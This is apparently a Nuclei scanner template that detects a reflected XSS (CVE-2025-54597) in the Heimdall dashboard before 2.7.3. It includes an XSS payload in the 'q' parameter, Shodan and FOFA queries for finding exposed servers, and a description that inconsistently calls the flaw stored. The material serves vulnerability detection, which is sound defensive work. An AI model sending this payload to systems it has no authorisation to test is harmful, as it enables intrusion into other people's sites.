CVE-2025-54597: Heimdall Application Dashboard < 2.7.3 - Reflected XSS

id: CVE-2025-54597

info:
  name: Heimdall Application Dashboard < 2.7.3 - Reflected XSS
  author: 0x_Akoko
  severity: medium
  description: |
    LinuxServer.io Heimdall < 2.7.3 contains a stored XSS caused by improper sanitization of the \"q\" parameter, letting remote attackers execute scripts, exploit requires crafted input.
  impact: |
    Attackers can execute arbitrary scripts in users' browsers, potentially stealing session data or performing actions on behalf of users.
  remediation: |
    Update to version 2.7.3 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54597
    - https://github.com/linuxserver/Heimdall/releases/tag/v2.7.3
    - https://github.com/linuxserver/Heimdall/commit/6b9f61b0e672c37b807ff338e1a3fdaa8f39a8a6
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-54597
    epss-score: 0.0056
    epss-percentile: 0.4516
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: linuxserver
    product: heimdall
    shodan-query: title:"Heimdall"
    fofa-query: app="Heimdall-Application-Dashboard"
  tags: cve,cve2025,heimdall,xss,reflected,linuxserver,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "heimdall"
          - "items/pintoggle"
        internal: true

  - raw:
      - |
        GET /?q=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"><img src=x onerror=alert(document.domain)>'
        part: body

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204449e4ec01646a065d9f316150c05076ea3db79fd7e6c3f644e87ac05a965b95022100f3b11fe2b4d141aee4a88dcc6fe6d199d877c8f56d24a2a61c74fff2659c57d8:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.